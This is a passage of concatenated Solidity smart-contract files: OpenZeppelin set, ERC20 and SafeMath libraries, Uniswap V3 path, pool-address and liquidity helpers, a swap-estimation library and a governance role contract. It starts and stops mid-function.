// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/uniswap-v3/ISwapRouter.sol";
import "../interfaces/uniswap-v3/IUniswapV3Pool.sol";
import "../interfaces/uniswap-v3/PoolAddress.sol";
import "../interfaces/uniswap-v3/Path.sol";
import "./SafeMathExtends.sol";
pragma abicoder v2;
/// @title UniV3 Swap extends libraries
/// @notice libraries
library UniV3SwapExtends {
using Path for bytes;
using SafeMath for uint256;
using SafeMathExtends for uint256;
//x96
uint256 constant internal x96 = 2 ** 96;
//fee denominator
uint256 constant internal denominator = 1000000;
//Swap Router
ISwapRouter constant internal SRT = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
/// @notice Estimated to obtain the target token amount
/// @dev Only allow the asset transaction path that has been set to be estimated
/// @param self Mapping path
/// @param from Source token address
/// @param to Target token address
/// @param amountIn Source token amount
/// @return amountOut Target token amount
function estimateAmountOut(
mapping(address => mapping(address => bytes)) storage self,
address from,
address to,
uint256 amountIn
) internal view returns (uint256 amountOut){
if (amountIn == 0) {return 0;}
bytes memory path = self[from][to];
amountOut = amountIn;
while (true) {
(address fromToken, address toToken, uint24 fee) = path.getFirstPool().decodeFirstPool();
address _pool = PoolAddress.getPool(fromToken, toToken, fee);
(uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(_pool).slot0();
address token0 = fromToken < toToken ? fromToken : toToken;
amountOut = amountOut.mul(denominator.sub(uint256(fee))).div(denominator);
if (token0 == toToken) {
amountOut = amountOut.sqrt().mul(x96).div(sqrtPriceX96) ** 2;
} else {
amountOut = amountOut.sqrt().mul(sqrtPriceX96).div(x96) ** 2;
}
bool hasMultiplePools = path.hasMultiplePools();
if (hasMultiplePools) {
path = path.skipToken();
} else {
break;
}
}
}
/// @notice Estimate the amount of source tokens that need to be provided
/// @dev Only allow the governance identity to set the underlying asset token address
/// @param self Mapping path
/// @param from Source token address
/// @param to Target token address
/// @param amountOut Expected target token amount
/// @return amountIn Source token amount
function estimateAmountIn(
mapping(address => mapping(address => bytes)) storage self,
address from,
address to,
uint256 amountOut
) internal view returns (uint256 amountIn){
if (amountOut == 0) {return 0;}
bytes memory path = self[from][to];
amountIn = amountOut;
while (true) {
(address fromToken, address toToken, uint24 fee) = path.getFirstPool().decodeFirstPool();
address _pool = PoolAddress.getPool(fromToken, toToken, fee);
(uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(_pool).slot0();
address token0 = fromToken < toToken ? fromToken : toToken;
if (token0 == toToken) {
amountIn = amountIn.sqrt().mul(sqrtPriceX96).div(x96) ** 2;
} else {
amountIn = amountIn.sqrt().mul(x96).div(sqrtPriceX96) ** 2;
}
amountIn = amountIn.mul(denominator).div(denominator.sub(uint256(fee)));
bool hasMultiplePools = path.hasMultiplePools();
if (hasMultiplePools) {
path = path.skipToken();
} else {
break;
}
}
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @dev Initiate a transaction with a known input amount and return the output amount
/// @param self Mapping path
/// @param from Input token address
/// @param to Output token address
/// @param amountIn Token in amount
/// @param recipient Recipient address
/// @param amountOutMinimum Expected to get minimum token out amount
/// @return Token out amount
function exactInput(
mapping(address => mapping(address => bytes)) storage self,
address from,
address to,
uint256 amountIn,
address recipient,
uint256 amountOutMinimum
) internal returns (uint256){
bytes memory path = self[from][to];
return SRT.exactInput(
ISwapRouter.ExactInputParams({
path : path,
recipient : recipient,
deadline : block.timestamp,
amountIn : amountIn,
amountOutMinimum : amountOutMinimum
}));
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @dev Initiate a transaction with a known output amount and return the input amount
/// @param self Mapping path
/// @param from Input token address
/// @param to Output token address
/// @param recipient Recipient address
/// @param amountOut Token out amount
/// @param amountInMaximum Expect to input the maximum amount of tokens
/// @return Token in amount
function exactOutput(
mapping(address => mapping(address => bytes)) storage self,
address from,
address to,
address recipient,
uint256 amountOut,
uint256 amountInMaximum
) internal returns (uint256){
bytes memory path = self[to][from];
return SRT.exactOutput(
ISwapRouter.ExactOutputParams({
path : path,
recipient : recipient,
deadline : block.timestamp,
amountOut : amountOut,
amountInMaximum : amountInMaximum
}));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import './BytesLib.sol';
/// @title Functions for manipulating path data for multihop swaps
library Path {
using BytesLib for bytes;
/// @dev The length of the bytes encoded address
uint256 private constant ADDR_SIZE = 20;
/// @dev The length of the bytes encoded fee
uint256 private constant FEE_SIZE = 3;
/// @dev The offset of a single token address and pool fee
uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE;
/// @dev The offset of an encoded pool key
uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE;
/// @dev The minimum length of an encoding that contains 2 or more pools
uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET;
/// @notice Check the legitimacy of the path
/// @param path The encoded swap path
/// @return Legal path
function valid(bytes memory path)internal pure returns(bool) {
return path.length>=POP_OFFSET;
}
/// @notice Returns true iff the path contains two or more pools
/// @param path The encoded swap path
/// @return True if path contains two or more pools, otherwise false
function hasMultiplePools(bytes memory path) internal pure returns (bool) {
return path.length >= MULTIPLE_POOLS_MIN_LENGTH;
}
/// @notice Decodes the first pool in path
/// @param path The bytes encoded swap path
/// @return tokenA The first token of the given pool
/// @return tokenB The second token of the given pool
/// @return fee The fee level of the pool
function decodeFirstPool(bytes memory path)
internal
pure
returns (
address tokenA,
address tokenB,
uint24 fee
)
{
tokenA = path.toAddress(0);
fee = path.toUint24(ADDR_SIZE);
tokenB = path.toAddress(NEXT_OFFSET);
}
/// @notice Gets the segment corresponding to the first pool in the path
/// @param path The bytes encoded swap path
/// @return The segment containing all data necessary to target the first pool in the path
function getFirstPool(bytes memory path) internal pure returns (bytes memory) {
return path.slice(0, POP_OFFSET);
}
/// @notice Gets the segment corresponding to the last pool in the path
/// @param path The bytes encoded swap path
/// @return The segment containing all data necessary to target the last pool in the path
function getLastPool(bytes memory path) internal pure returns (bytes memory) {
if(path.length==POP_OFFSET){
return path;
}else{
return path.slice(path.length-POP_OFFSET, path.length);
}
}
/// @notice Gets the first address of the path
/// @param path The encoded swap path
/// @return address
function getFirstAddress(bytes memory path)internal pure returns(address){
return path.toAddress(0);
}
/// @notice Gets the last address of the path
/// @param path The encoded swap path
/// @return address
function getLastAddress(bytes memory path)internal pure returns(address){
return path.toAddress(path.length-ADDR_SIZE);
}
/// @notice Skips a token + fee element from the buffer and returns the remainder
/// @param path The swap path
/// @return The remaining token + fee elements in the path
function skipToken(bytes memory path) internal pure returns (bytes memory) {
return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "../storage/GovIdentityStorage.sol";
/// @title manager role
/// @notice provide a unified identity address pool
contract GovIdentity {
constructor() {
_init();
}
function _init() internal{
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
identity.governance = msg.sender;
identity.rewards = msg.sender;
identity.strategist[msg.sender]=true;
identity.admin[msg.sender]=true;
}
modifier onlyAdmin() {
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
require(isAdmin(msg.sender), "!admin");
_;
}
modifier onlyStrategist() {
require(isStrategist(msg.sender), "!strategist");
_;
}
modifier onlyGovernance() {
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
require(msg.sender == identity.governance, "!governance");
_;
}
modifier onlyStrategistOrGovernance() {
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
require(identity.strategist[msg.sender] || msg.sender == identity.governance, "!governance and !strategist");
_;
}
modifier onlyAdminOrGovernance() {
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
require(identity.admin[msg.sender] || msg.sender == identity.governance, "!governance and !admin");
_;
}
function setGovernance(address _governance) public onlyGovernance{
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
identity.governance = _governance;
}
function setRewards(address _rewards) public onlyGovernance{
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
identity.rewards = _rewards;
}
function setStrategist(address _strategist,bool enable) public onlyGovernance{
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
identity.strategist[_strategist]=enable;
}
function setAdmin(address _admin,bool enable) public onlyGovernance{
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
identity.admin[_admin]=enable;
}
function getGovernance() public view returns(address){
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
return identity.governance;
}
function getRewards() public view returns(address){
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
return identity.rewards ;
}
function isStrategist(address _strategist) public view returns(bool){
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
return identity.strategist[_strategist];
}
function isAdmin(address _admin) public view returns(bool){
GovIdentityStorage.Identity storage identity= GovIdentityStorage.load();
return identity.admin[_admin];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
//Uniswap V3 Factory
address constant private factory = address(0x1F98431c8aD98523631AE4a59f267346ea31F984);
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @dev Returns the pool for the given token pair and fee. The pool contract may or may not exist.
function getPool(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (address) {
return computeAddress(getPoolKey(tokenA, tokenB, fee));
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0 : tokenA, token1 : tokenB, fee : fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint128
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint128 {
uint256 internal constant Q128 = 0x100000000000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './FullMath.sol';
import './FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
